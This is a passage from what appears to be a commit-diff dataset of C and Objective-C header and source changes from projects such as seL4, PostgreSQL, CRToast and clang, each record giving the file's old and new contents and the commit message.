ASN1DecoderVersionNumber;\n\n\/\/! Project version string for ASN1Decoder.\nFOUNDATION_EXPORT const unsigned char ASN1DecoderVersionString[];\n\n\/\/ In this header, you should import all the public headers of your framework using statements like #import <ASN1Decoder\/PublicHeader.h>\n\n","subject":"Remove double whitespace on header file","message":"Remove double whitespace on header file\n","lang":"C","license":"mit","repos":"filom\/ASN1Decoder,filom\/ASN1Decoder"}
{"commit":"e667a7e04b163eef4461e72246e8effd7be8f9fa","old_file":"include\/arch\/x86\/arch\/machine\/cpu_registers.h","new_file":"include\/arch\/x86\/arch\/machine\/cpu_registers.h","old_contents":"\/*\n * Copyright 2014, General Dynamics C4 Systems\n *\n * This software may be distributed and modified according to the terms of\n * the GNU General Public License version 2. Note that NO WARRANTY is provided.\n * See \"LICENSE_GPLv2.txt\" for details.\n *\n * @TAG(GD_GPL)\n *\/\n\n#ifndef __ARCH_MACHINE_CPU_REGISTERS_H\n#define __ARCH_MACHINE_CPU_REGISTERS_H\n\n#define CR0_MONITOR_COPROC  BIT(1)  \/* Trap on FPU \"WAIT\" commands. *\/\n#define CR0_EMULATION       BIT(2)  \/* Enable OS emulation of FPU. *\/\n#define CR0_TASK_SWITCH     BIT(3)  \/* Trap on any FPU usage, for lazy FPU. *\/\n#define CR0_NUMERIC_ERROR   BIT(5)  \/* Internally handle FPU problems. *\/\n#define CR4_OSFXSR          BIT(9)  \/* Enable SSE et. al. features. *\/\n#define CR4_OSXMMEXCPT      BIT(10) \/* Enable SSE exceptions. *\/\n\n\/* We use a dummy variable to synchronize reads and writes to the control registers.\n * this allows us to write inline asm blocks that do not have enforced memory\n * clobbers for ordering. *\/\nstatic unsigned long control_reg_order;\n\n#include <mode\/machine\/cpu_registers.h>\n\n#endif\n","new_contents":"\/*\n * Copyright 2014, General Dynamics C4 Systems\n *\n * This software may be distributed and modified according to the terms of\n * the GNU General Public License version 2. Note that NO WARRANTY is provided.\n * See \"LICENSE_GPLv2.txt\" for details.\n *\n * @TAG(GD_GPL)\n *\/\n\n#ifndef __ARCH_MACHINE_CPU_REGISTERS_H\n#define __ARCH_MACHINE_CPU_REGISTERS_H\n\n#define CR0_MONITOR_COPROC  BIT(1)  \/* Trap on FPU \"WAIT\" commands. *\/\n#define CR0_EMULATION       BIT(2)  \/* Enable OS emulation of FPU. *\/\n#define CR0_TASK_SWITCH     BIT(3)  \/* Trap on any FPU usage, for lazy FPU. *\/\n#define CR0_NUMERIC_ERROR   BIT(5)  \/* Internally handle FPU problems. *\/\n#define CR4_OSFXSR          BIT(9)  \/* Enable SSE et. al. features. *\/\n#define CR4_OSXMMEXCPT      BIT(10) \/* Enable SSE exceptions. *\/\n#define CR4_OSXSAVE         BIT(18) \/* Enavle XSAVE feature set *\/\n\n\/* We use a dummy variable to synchronize reads and writes to the control registers.\n * this allows us to write inline asm blocks that do not have enforced memory\n * clobbers for ordering. *\/\nstatic unsigned long control_reg_order;\n\n#include <mode\/machine\/cpu_registers.h>\n\n#endif\n","subject":"Add missing CR4 bit definition","message":"x86: Add missing CR4 bit definition\n","lang":"C","license":"bsd-2-clause","repos":"cmr\/seL4,cmr\/seL4,cmr\/seL4"}
{"commit":"358d98c9444ba6a7b181506220ef3ecddc4e7f04","old_file":"CWStatusBarNotification\/CWStatusBarNotification.h","new_file":"CWStatusBarNotification\/CWStatusBarNotification.h","old_contents":"\/\/\n\/\/  CWStatusBarNotification\n\/\/  CWNotificationDemo\n\/\/\n\/\/  Created by Cezary Wojcik on 11\/15\/13.\n\/\/  Copyright (c) 2013 Cezary Wojcik. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface CWStatusBarNotification : NSObject\n\nenum {\n    CWNotificationStyleStatusBarNotification,\n    CWNotificationStyleNavigationBarNotification\n};\n\nenum {\n    CWNotificationAnimationStyleTop,\n    CWNotificationAnimationStyleBottom,\n    CWNotificationAnimationStyleLeft,\n    CWNotificationAnimationStyleRight\n};\n\n@property (strong, nonatomic) UIColor *notificationLabelBackgroundColor;\n@property (strong, nonatomic) UIColor *notificationLabelTextColor;\n\n@property (nonatomic) NSInteger notificationStyle;\n@property (nonatomic) NSInteger notificationAnimationInStyle;\n@property (nonatomic) NSInteger notificationAnimationOutStyle;\n@property (nonatomic) BOOL notificationIsShowing;\n\n- (void)displayNotificationWithMessage:(NSString *)message forDuration:(CGFloat)duration;\n- (void)displayNotificationWithMessage:(NSString *)message completion:(void (^)(void))completion;\n- (void)dismissNotification;\n\n@end\n","new_contents":"\/\/\n\/\/  CWStatusBarNotification\n\/\/  CWNotificationDemo\n\/\/\n\/\/  Created by Cezary Wojcik on 11\/15\/13.\n\/\/  Copyright (c) 2013 Cezary Wojcik. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@interface CWStatusBarNotification : NSObject\n\ntypedef NS_ENUM(NSInteger, CWNotificationStyle){\n    CWNotificationStyleStatusBarNotification,\n    CWNotificationStyleNavigationBarNotification\n};\n\ntypedef NS_ENUM(NSInteger, CWNotificationAnimationStyle) {\n    CWNotificationAnimationStyleTop,\n    CWNotificationAnimationStyleBottom,\n    CWNotificationAnimationStyleLeft,\n    CWNotificationAnimationStyleRight\n};\n\n@property (strong, nonatomic) UIColor *notificationLabelBackgroundColor;\n@property (strong, nonatomic) UIColor *notificationLabelTextColor;\n\n@property (nonatomic) CWNotificationStyle notificationStyle;\n@property (nonatomic) CWNotificationAnimationStyle notificationAnimationInStyle;\n@property (nonatomic) CWNotificationAnimationStyle notificationAnimationOutStyle;\n@property (nonatomic) BOOL notificationIsShowing;\n\n- (void)displayNotificationWithMessage:(NSString *)message forDuration:(CGFloat)duration;\n- (void)displayNotificationWithMessage:(NSString *)message completion:(void (^)(void))completion;\n- (void)dismissNotification;\n\n@end\n","subject":"Make types for enums, add types to properties","message":"Make types for enums, add types to properties\n","lang":"C","license":"mit","repos":"kazmasaurus\/CRToast,maranik\/CRToast,hoanganh6491\/CRToast,DerLobi\/CRToast,perrystreetsoftware\/CRToast,dmiedema\/CRToast,AdamCampbell\/CRToast,dedelost\/CRToast,iosdevvivek\/CRToast,mmmilo\/CRToast,cnbin\/CRToast,chinaljw\/CRToast,Kevin775263419\/CRToast,Trueey\/CRToast,Naithar\/CRToast,vladzz\/CRToast,hulu001\/CRToast,leoschweizer\/CRToast,cruffenach\/CRToast,Ashton-W\/CRToast,Adorkable-forkable\/CRToast,Kevin775263419\/CRToast,grzesir\/CRToast,yeahdongcn\/CRToast,hoanganh6491\/CRToast,gohjohn\/CRToast"}
{"commit":"9490094b141003d692320113a662224a9fa2ef42","old_file":"include\/asm-mips\/i8253.h","new_file":"include\/asm-mips\/i8253.h","old_contents":"\/*\n *  Machine specific IO port address definition for generic.\n *  Written by Osamu Tomita <tomita@cinet.co.jp>\n *\/\n#ifndef _MACH_IO_PORTS_H\n#define _MACH_IO_PORTS_H\n\n\/* i8253A PIT registers *\/\n#define PIT_MODE\t\t0x43\n#define PIT_CH0\t\t\t0x40\n#define PIT_CH2\t\t\t0x42\n\n\/* i8259A PIC registers *\/\n#define PIC_MASTER_CMD\t\t0x20\n#define PIC_MASTER_IMR\t\t0x21\n#define PIC_MASTER_ISR\t\tPIC_MASTER_CMD\n#define PIC_MASTER_POLL\t\tPIC_MASTER_ISR\n#define PIC_MASTER_OCW3\t\tPIC_MASTER_ISR\n#define PIC_SLAVE_CMD\t\t0xa0\n#define PIC_SLAVE_IMR\t\t0xa1\n\n\/* i8259A PIC related value *\/\n#define PIC_CASCADE_IR\t\t2\n#define MASTER_ICW4_DEFAULT\t0x01\n#define SLAVE_ICW4_DEFAULT\t0x01\n#define PIC_ICW4_AEOI\t\t2\n\nextern void setup_pit_timer(void);\n\n#endif \/* !_MACH_IO_PORTS_H *\/\n","new_contents":"\/*\n *  Machine specific IO port address definition for generic.\n *  Written by Osamu Tomita <tomita@cinet.co.jp>\n *\/\n#ifndef __ASM_I8253_H\n#define __ASM_I8253_H\n\n\/* i8253A PIT registers *\/\n#define PIT_MODE\t\t0x43\n#define PIT_CH0\t\t\t0x40\n#define PIT_CH2\t\t\t0x42\n\n\/* i8259A PIC registers *\/\n#define PIC_MASTER_CMD\t\t0x20\n#define PIC_MASTER_IMR\t\t0x21\n#define PIC_MASTER_ISR\t\tPIC_MASTER_CMD\n#define PIC_MASTER_POLL\t\tPIC_MASTER_ISR\n#define PIC_MASTER_OCW3\t\tPIC_MASTER_ISR\n#define PIC_SLAVE_CMD\t\t0xa0\n#define PIC_SLAVE_IMR\t\t0xa1\n\n\/* i8259A PIC related value *\/\n#define PIC_CASCADE_IR\t\t2\n#define MASTER_ICW4_DEFAULT\t0x01\n#define SLAVE_ICW4_DEFAULT\t0x01\n#define PIC_ICW4_AEOI\t\t2\n\nextern void setup_pit_timer(void);\n\n#endif \/* __ASM_I8253_H *\/\n","subject":"Fix include wrapper symbol to something sane.","message":"[MIPS] Fix include wrapper symbol to something sane.\n\nAnd why are there i8253.h and 8253pit.h ...\n\nSigned-off-by: Ralf Baechle <92f48d309cda194c8eda36aa8f9ae28c488fa208@linux-mips.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"be6de4c1215a8ad5607b1fcc7e9e6da1de780877","old_file":"src\/include\/common\/controldata_utils.h","new_file":"src\/include\/common\/controldata_utils.h","old_contents":"\/*\n * controldata_utils.h\n *\t\tCommon code for pg_controldata output\n *\n *\tPortions Copyright (c) 1996-2016, PostgreSQL Global Development Group\n *\tPortions Copyright (c) 1994, Regents of the University of California\n *\n *\tsrc\/include\/common\/controldata_utils.h\n *\/\n#ifndef COMMON_CONTROLDATA_UTILS_H\n#define COMMON_CONTROLDATA_UTILS_H\n\nextern ControlFileData *get_controlfile(char *DataDir, const char *progname);\n\n#endif   \/* COMMON_CONTROLDATA_UTILS_H *\/\n","new_contents":"\/*\n * controldata_utils.h\n *\t\tCommon code for pg_controldata output\n *\n *\tPortions Copyright (c) 1996-2016, PostgreSQL Global Development Group\n *\tPortions Copyright (c) 1994, Regents of the University of California\n *\n *\tsrc\/include\/common\/controldata_utils.h\n *\/\n#ifndef COMMON_CONTROLDATA_UTILS_H\n#define COMMON_CONTROLDATA_UTILS_H\n\n#include \"catalog\/pg_control.h\"\n\nextern ControlFileData *get_controlfile(char *DataDir, const char *progname);\n\n#endif   \/* COMMON_CONTROLDATA_UTILS_H *\/\n","subject":"Add missing include for self-containment","message":"Add missing include for self-containment\n","lang":"C","license":"apache-2.0","repos":"greenplum-db\/gpdb,greenplum-db\/gpdb,adam8157\/gpdb,ashwinstar\/gpdb,greenplum-db\/gpdb,50wu\/gpdb,ashwinstar\/gpdb,jmcatamney\/gpdb,lisakowen\/gpdb,xinzweb\/gpdb,ashwinstar\/gpdb,greenplum-db\/gpdb,adam8157\/gpdb,50wu\/gpdb,50wu\/gpdb,xinzweb\/gpdb,greenplum-db\/gpdb,adam8157\/gpdb,ashwinstar\/gpdb,lisakowen\/gpdb,50wu\/gpdb,50wu\/gpdb,xinzweb\/gpdb,xinzweb\/gpdb,jmcatamney\/gpdb,adam8157\/gpdb,lisakowen\/gpdb,jmcatamney\/gpdb,ashwinstar\/gpdb,jmcatamney\/gpdb,adam8157\/gpdb,xinzweb\/gpdb,xinzweb\/gpdb,lisakowen\/gpdb,ashwinstar\/gpdb,lisakowen\/gpdb,50wu\/gpdb,greenplum-db\/gpdb,lisakowen\/gpdb,jmcatamney\/gpdb,50wu\/gpdb,jmcatamney\/gpdb,adam8157\/gpdb,lisakowen\/gpdb,lisakowen\/gpdb,jmcatamney\/gpdb,ashwinstar\/gpdb,greenplum-db\/gpdb,jmcatamney\/gpdb,ashwinstar\/gpdb,adam8157\/gpdb,xinzweb\/gpdb,50wu\/gpdb,xinzweb\/gpdb,adam8157\/gpdb,greenplum-db\/gpdb"}
{"commit":"7b91a38d79ab14ea212a91a69a19b31111d1ba91","old_file":"include\/fish_detector\/common\/species_dialog.h","new_file":"include\/fish_detector\/common\/species_dialog.h","old_contents":"\/\/\/ @file\n\/\/\/ @brief Defines SpeciesDialog class.\n\n#ifndef SPECIES_DIALOG_H\n#define SPECIES_DIALOG_H\n\n#include <memory>\n\n#include <QWidget>\n#include <QDialog>\n\n#include \"fish_detector\/common\/species.h\"\n\nnamespace Ui {\n  class SpeciesDialog;\n}\n\nnamespace fish_detector {\n\nclass SpeciesDialog : public QDialog {\n  Q_OBJECT\n#ifndef NO_TESTING\n  friend class TestSpeciesDialog;\n#endif\npublic:\n  \/\/\/ @brief Constructor.\n  \/\/\/\n  \/\/\/ @param parent Parent widget.\n  explicit SpeciesDialog(QWidget *parent = 0);\n\n  \/\/\/ @brief Returns a Species object corresponding to the dialog values.\n  \/\/\/\n  \/\/\/ @return Species object corresponding to the dialog values.\n  Species getSpecies();\n\nprivate slots:\n  \/\/\/ @brief Emits the accepted signal.\n  void on_ok_clicked();\n\n  \/\/\/ @brief Emits the rejected signal.\n  void on_cancel_clicked();\n\n  \/\/\/ @brief Removes currently selected subspecies.\n  void on_removeSubspecies_clicked();\n\n  \/\/\/ @brief Adds a new subspecies.\n  void on_addSubspecies_clicked();\n\nprivate:\n  \/\/\/ @brief Widget loaded from ui file.\n  std::unique_ptr<Ui::SpeciesDialog> ui_;\n};\n\n} \/\/ namespace fish_detector\n\n#endif \/\/ SPECIES_DIALOG_H\n","new_contents":"\/\/\/ @file\n\/\/\/ @brief Defines SpeciesDialog class.\n\n#ifndef SPECIES_DIALOG_H\n#define SPECIES_DIALOG_H\n\n#include <memory>\n\n#include <QWidget>\n#include <QDialog>\n\n#include \"fish_detector\/common\/species.h\"\n\nnamespace Ui {\n  class SpeciesDialog;\n}\n\nnamespace fish_detector {\n\nclass SpeciesDialog : public QDialog {\n  Q_OBJECT\npublic:\n  \/\/\/ @brief Constructor.\n  \/\/\/\n  \/\/\/ @param parent Parent widget.\n  explicit SpeciesDialog(QWidget *parent = 0);\n\n  \/\/\/ @brief Returns a Species object corresponding to the dialog values.\n  \/\/\/\n  \/\/\/ @return Species object corresponding to the dialog values.\n  Species getSpecies();\n\nprivate slots:\n  \/\/\/ @brief Calls inherited accept function.\n  void on_ok_clicked();\n\n  \/\/\/ @brief Calls inherited reject function.\n  void on_cancel_clicked();\n\n  \/\/\/ @brief Removes currently selected subspecies.\n  void on_removeSubspecies_clicked();\n\n  \/\/\/ @brief Adds a new subspecies.\n  void on_addSubspecies_clicked();\n\nprivate:\n  \/\/\/ @brief Widget loaded from ui file.\n  std::unique_ptr<Ui::SpeciesDialog> ui_;\n};\n\n} \/\/ namespace fish_detector\n\n#endif \/\/ SPECIES_DIALOG_H\n","subject":"Remove unused friend class declaration","message":"Remove unused friend class declaration\n","lang":"C","license":"mit","repos":"BGWoodward\/FishDetector"}
{"commit":"2a655bcf9e5c30077197d314690ffbf86a042712","old_file":"STTweetLabel\/STTweetLabel.h","new_file":"STTweetLabel\/STTweetLabel.h","old_contents":"\/\/\n\/\/  STTweetLabel.h\n\/\/  STTweetLabel\n\/\/\n\/\/  Created by Sebastien Thiebaud on 09\/29\/13.\n\/\/  Copyright (c) 2013 Sebastien Thiebaud. All rights reserved.\n\/\/\n\ntypedef enum {\n    STTweetHandle = 0,\n    STTweetHashtag,\n    STTweetLink\n} STTweetHotWord;\n\n@interface STTweetLabel : UILabel\n\n@property (nonatomic, strong) NSArray *validProtocols;\n@property (nonatomic, assign) BOOL leftToRight;\n@property (nonatomic, assign) BOOL textSelectable;\n@property (nonatomic, strong) UIColor *selectionColor;\n@property (nonatomic, copy) void (^detectionBlock)(STTweetHotWord hotWord, NSString *string, NSString *protocol, NSRange range);\n\n- (void)setAttributes:(NSDictionary *)attributes;\n- (void)setAttributes:(NSDictionary *)attributes hotWord:(STTweetHotWord)hotWord;\n\n- (NSDictionary *)attributes;\n- (NSDictionary *)attributesForHotWord:(STTweetHotWord)hotWord;\n\n- (CGSize)suggestedFrameSizeToFitEntireStringConstraintedToWidth:(CGFloat)width;\n\n@end\n","new_contents":"\/\/\n\/\/  STTweetLabel.h\n\/\/  STTweetLabel\n\/\/\n\/\/  Created by Sebastien Thiebaud on 09\/29\/13.\n\/\/  Copyright (c) 2013 Sebastien Thiebaud. All rights reserved.\n\/\/\n\ntypedef NS_ENUM(NSInteger, STTweetHotWord) {\n    STTweetHandle = 0,\n    STTweetHashtag,\n    STTweetLink\n};\n\n@interface STTweetLabel : UILabel\n\n@property (nonatomic, strong) NSArray *validProtocols;\n@property (nonatomic, assign) BOOL leftToRight;\n@property (nonatomic, assign) BOOL textSelectable;\n@property (nonatomic, strong) UIColor *selectionColor;\n@property (nonatomic, copy) void (^detectionBlock)(STTweetHotWord hotWord, NSString *string, NSString *protocol, NSRange range);\n\n- (void)setAttributes:(NSDictionary *)attributes;\n- (void)setAttributes:(NSDictionary *)attributes hotWord:(STTweetHotWord)hotWord;\n\n- (NSDictionary *)attributes;\n- (NSDictionary *)attributesForHotWord:(STTweetHotWord)hotWord;\n\n- (CGSize)suggestedFrameSizeToFitEntireStringConstraintedToWidth:(CGFloat)width;\n\n@end\n","subject":"Make enum available to swift","message":"Make enum available to swift\n","lang":"C","license":"mit","repos":"bespider\/STTweetLabel,pankkor\/STTweetLabel,pabelnl\/STTweetLabel,HackRoy\/STTweetLabel,SebastienThiebaud\/STTweetLabel,quanquan1986\/STTweetLabel"}
{"commit":"0699830cd0dd5b606647c28c7e4b0965c418e6b8","old_file":"MenuItemKit\/MenuItemKit.h","new_file":"MenuItemKit\/MenuItemKit.h","old_contents":"\/\/\n\/\/  MenuItemKit.h\n\/\/  MenuItemKit\n\/\/\n\/\/  Created by CHEN Xian’an on 1\/16\/16.\n\/\/  Copyright © 2016 lazyapps. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import \"Headers.h\"\n\n\/\/! Project version number for MenuItemKit.\nFOUNDATION_EXPORT double MenuItemKitVersionNumber;\n\n\/\/! Project version string for MenuItemKit.\nFOUNDATION_EXPORT const unsigned char MenuItemKitVersionString[];\n","new_contents":"\/\/\n\/\/  MenuItemKit.h\n\/\/  MenuItemKit\n\/\/\n\/\/  Created by CHEN Xian’an on 1\/16\/16.\n\/\/  Copyright © 2016 lazyapps. All rights reserved.\n\/\/\n\n#import <UIKit\/UIKit.h>\n#import <MenuItemKit\/Headers.h>\n\n\/\/! Project version number for MenuItemKit.\nFOUNDATION_EXPORT double MenuItemKitVersionNumber;\n\n\/\/! Project version string for MenuItemKit.\nFOUNDATION_EXPORT const unsigned char MenuItemKitVersionString[];\n","subject":"Use brackets for headers as Xcode suggested","message":"Use brackets for headers as Xcode suggested\n","lang":"C","license":"mit","repos":"cxa\/MenuItemKit,cxa\/MenuItemKit"}
{"commit":"2b71152eafc98a35bca1b99a8fa0ab4a053876f8","old_file":"RMGallery\/RMGallery.h","new_file":"RMGallery\/RMGallery.h","old_contents":"\/\/\n\/\/  RMGallery.h\n\/\/  RMGallery\n\/\/\n\/\/  Created by Hermés Piqué on 16\/05\/14.\n\/\/  Copyright (c) 2014 Robot Media. All rights reserved.\n\/\/\n\/\/  Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/  you may not use this file except in compliance with the License.\n\/\/  You may obtain a copy of the License at\n\/\/\n\/\/   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/  Unless required by applicable law or agreed to in writing, software\n\/\/  distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/  See the License for the specific language governing permissions and\n\/\/  limitations under the License.\n\/\/\n\n#import \"RMGalleryViewController.h\"\n#import \"RMGalleryTransition.h\"","new_contents":"\/\/\n\/\/  RMGallery.h\n\/\/  RMGallery\n\/\/\n\/\/  Created by Hermés Piqué on 16\/05\/14.\n\/\/  Copyright (c) 2014 Robot Media. All rights reserved.\n\/\/\n\/\/  Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/  you may not use this file except in compliance with the License.\n\/\/  You may obtain a copy of the License at\n\/\/\n\/\/   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/  Unless required by applicable law or agreed to in writing, software\n\/\/  distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/  See the License for the specific language governing permissions and\n\/\/  limitations under the License.\n\/\/\n\n#import \"RMGalleryViewController.h\"\n#import \"RMGalleryTransition.h\"\n","subject":"Add new line at end of file to fix build","message":"Add new line at end of file to fix build\n","lang":"C","license":"apache-2.0","repos":"UrbanCompass\/RMGallery"}
{"commit":"c923f1c951486603591d797c5f7fb7a0c2b923a5","old_file":"FTFountain\/iOS\/FTFountainiOS.h","new_file":"FTFountain\/iOS\/FTFountainiOS.h","old_contents":"\/\/\n\/\/  FTFountainiOS.h\n\/\/  FTFountain\n\/\/\n\/\/  Created by Tobias Kräntzer on 18.07.15.\n\/\/  Copyright (c) 2015 Tobias Kräntzer. All rights reserved.\n\/\/\n\n\/\/ Adapter\n#import \"FTTableViewAdapter.h\"\n#import \"FTCollectionViewAdapter.h\"\n","new_contents":"\/\/\n\/\/  FTFountainiOS.h\n\/\/  FTFountain\n\/\/\n\/\/  Created by Tobias Kräntzer on 18.07.15.\n\/\/  Copyright (c) 2015 Tobias Kräntzer. All rights reserved.\n\/\/\n\n\/\/ Adapter\n#import \"FTTableViewAdapter.h\"\n#import \"FTTableViewAdapter+Subclassing.h\"\n#import \"FTCollectionViewAdapter.h\"\n#import \"FTCollectionViewAdapter+Subclassing.h\"\n","subject":"Add subclassing headers for the table and collection view adapter to the umbrella header","message":"Add subclassing headers for the table and collection view adapter to the umbrella header\n","lang":"C","license":"bsd-3-clause","repos":"anagromataf\/Fountain,anagromataf\/Fountain"}
{"commit":"cf0aebe327a7086e4c31a37aaa9b91491c619681","old_file":"src\/Engine\/Input.h","new_file":"src\/Engine\/Input.h","old_contents":"#pragma once\n\n#include \"SDL.h\"\n#include \"Component.h\"\n#include \"Point.h\"\n\n#define NUM_MOUSE_BUTTONS 5\n#define CONTROLLER_JOYSTICK_DEATHZONE 8000\n\nclass Input\n{\npublic:\n\tInput();\n\t~Input();\n\n\tvoid Poll(const SDL_Event& e);\n\n\tbool IsKeyPressed(SDL_Scancode key);\n\tbool IsKeyHeld(SDL_Scancode key) const;\n\tbool IsKeyReleased(SDL_Scancode key);\n\n\tSDL_GameController *controller1 = nullptr;\n\tSDL_GameController *controller2 = nullptr;\n\tbool IsControllerButtonPressed(SDL_GameController* controller, SDL_GameControllerButton button);\n\tbool IsControllerButtonHeld(SDL_GameController* controller, SDL_GameControllerButton button) const;\n\tbool IsControllerButtonReleased(SDL_GameController* controller, SDL_GameControllerButton button);\n\n\tbool IsMouseButtonPressed(int button) const;\n\tbool IsMouseButtonHeld(int button) const;\n\tbool IsMouseButtonReleased(int button) const;\n\n\tfloat MouseX() const;\n\tfloat MouseY() const;\n\n\tPoint GetMousePosition(Point& position) const;\n\nprivate:\n\tbool keys[SDL_NUM_SCANCODES];\n\tbool lastKeys[SDL_NUM_SCANCODES];\n\n\tbool lastControllerButtons[SDL_CONTROLLER_BUTTON_MAX];\n\tvoid OpenControllers();\n\n\tbool mouseButtons[NUM_MOUSE_BUTTONS];\n\tbool lastMouseButtons[NUM_MOUSE_BUTTONS];\n};\n\n","new_contents":"#pragma once\n\n#include \"SDL.h\"\n#include \"Component.h\"\n#include \"Point.h\"\n\n#define NUM_MOUSE_BUTTONS 5\n#define CONTROLLER_JOYSTICK_DEATHZONE 8000\n\nclass Input\n{\npublic:\n\tInput();\n\t~Input();\n\n\tvoid Poll(const SDL_Event& e);\n\n\tbool IsKeyPressed(SDL_Scancode key);\n\tbool IsKeyHeld(SDL_Scancode key) const;\n\tbool IsKeyReleased(SDL_Scancode key);\n\n\tSDL_GameController *controller1 = nullptr;\n\tSDL_GameController *controller2 = nullptr;\n\tbool IsControllerButtonPressed(SDL_GameController* controller, SDL_GameControllerButton button);\n\tbool IsControllerButtonHeld(SDL_GameController* controller, SDL_GameControllerButton button) const;\n\tbool IsControllerButtonReleased(SDL_GameController* controller, SDL_GameControllerButton button);\n\n\tbool IsMouseButtonPressed(int button) const;\n\tbool IsMouseButtonHeld(int button) const;\n\tbool IsMouseButtonReleased(int button) const;\n\n\tfloat MouseX() const;\n\tfloat MouseY() const;\n\n\tPoint GetMousePosition(Point& position) const;\n\nprivate:\n\tbool keys[SDL_NUM_SCANCODES];\n\tbool lastKeys[SDL_NUM_SCANCODES];\n\n\tbool lastControllerButtons[SDL_CONTROLLER_BUTTON_MAX];\n\tvoid OpenControllers();\n\n\tbool mouseButtons[NUM_MOUSE_BUTTONS];\n\tbool lastMouseButtons[NUM_MOUSE_BUTTONS];\n\n\t\/\/Might need SDL_MouseMotionEvent instead\n\t\/\/Point mousePosition;\n};\n\n","subject":"Add mousePosition as Point, now commented for reworking","message":"Add mousePosition as Point, now commented for reworking\n","lang":"C","license":"mit","repos":"CollegeBart\/bart-sdl-engine-e16,CollegeBart\/bart-sdl-engine-e16"}
{"commit":"a71cffa0a3a3efb64a8ea3b4ce110217f62b90fa","old_file":"Solutions\/03\/view.stat.c","new_file":"Solutions\/03\/view.stat.c","old_contents":"#include <stdio.h>\n#include <linux\/types.h>\n#include <unistd.h>\n#include <fcntl.h>\n\n\n\nint main (int argc, char * argv [])\n{\n    __u64 rdtsc = 0;\n    __u64 i     = 0;\n    int fileStat = open (argv [1], O_RDONLY, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP);\n    while (read (fileStat, &rdtsc,  sizeof (rdtsc) ) > 0) {\n        printf (\"%llu:\\t%llu\\n\", ++i, rdtsc);\n    } \n    close (fileStat);\n}\n","new_contents":"#include <stdio.h>\n#include <linux\/types.h>\n#include <unistd.h>\n#include <fcntl.h>\n#include <stdlib.h>\n\n\n\nint main (int argc, char * argv [])\n{\n    __u64 rdtsc = 0;\n    __u64 i     = 0;\n    int fileStat = open (argv [1], O_RDONLY, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP);\n    while (read (fileStat, &rdtsc,  sizeof (rdtsc) ) > 0) {\n        printf (\"%llu:\\t%llu\\n\", ++i, rdtsc);\n    }\n    close (fileStat);\n\n    return EXIT_SUCCESS;\n}\n","subject":"Fix trivial error: return void in main function.","message":"Fix trivial error: return void in main function.\n","lang":"C","license":"mit","repos":"Gluttton\/PslRK,Gluttton\/PslRK,Gluttton\/PslRK"}
{"commit":"ca7fe8327518ae9d04f8e5b68f01ffabe699db52","old_file":"native\/fallocate_darwin.c","new_file":"native\/fallocate_darwin.c","old_contents":"#define _FILE_OFFSET_BITS 64\n\n#include <fcntl.h>\n\nint native_fallocate(int fd, uint64_t len) {\n    fstore_t fstore;\n    fstore.fst_flags = F_ALLOCATECONTIG;\n    fstore.fst_posmode = F_PEOFPOSMODE;\n    fstore.fst_offset = 0;\n    fstore.fst_length = len;\n    fstore.fst_bytesalloc = 0;\n    return fcntl(fd, F_PREALLOCATE, &fstore);\n}\n","new_contents":"#define _FILE_OFFSET_BITS 64\n\n#include <fcntl.h>\n#include <stdint.h>\n\nint native_fallocate(int fd, uint64_t len) {\n    fstore_t fstore;\n    fstore.fst_flags = F_ALLOCATECONTIG;\n    fstore.fst_posmode = F_PEOFPOSMODE;\n    fstore.fst_offset = 0;\n    fstore.fst_length = len;\n    fstore.fst_bytesalloc = 0;\n    return fcntl(fd, F_PREALLOCATE, &fstore);\n}\n","subject":"Add proper header for darwin build","message":"Add proper header for darwin build\n","lang":"C","license":"isc","repos":"Luminarys\/synapse,Luminarys\/synapse,Luminarys\/synapse"}
{"commit":"657f21bee4750eb28dfb4d60662919417a53d724","old_file":"test\/Frontend\/ast-main.c","new_file":"test\/Frontend\/ast-main.c","old_contents":"","new_contents":"\/\/ RUN: clang -emit-llvm -S -o %t1.ll %s &&\n\/\/ RUN: clang -emit-ast -o %t.ast %s &&\n\/\/ RUN: clang -emit-llvm -S -o %t2.ll %t.ast &&\n\/\/ RUN: diff %t1.ll %t2.ll\n\/\/ XFAIL: *\n\nint main() {\n  return 0;\n}\n","subject":"Add an XFAIL test which compiles differently from a .ast.","message":"Add an XFAIL test which compiles differently from a .ast.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@82437 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
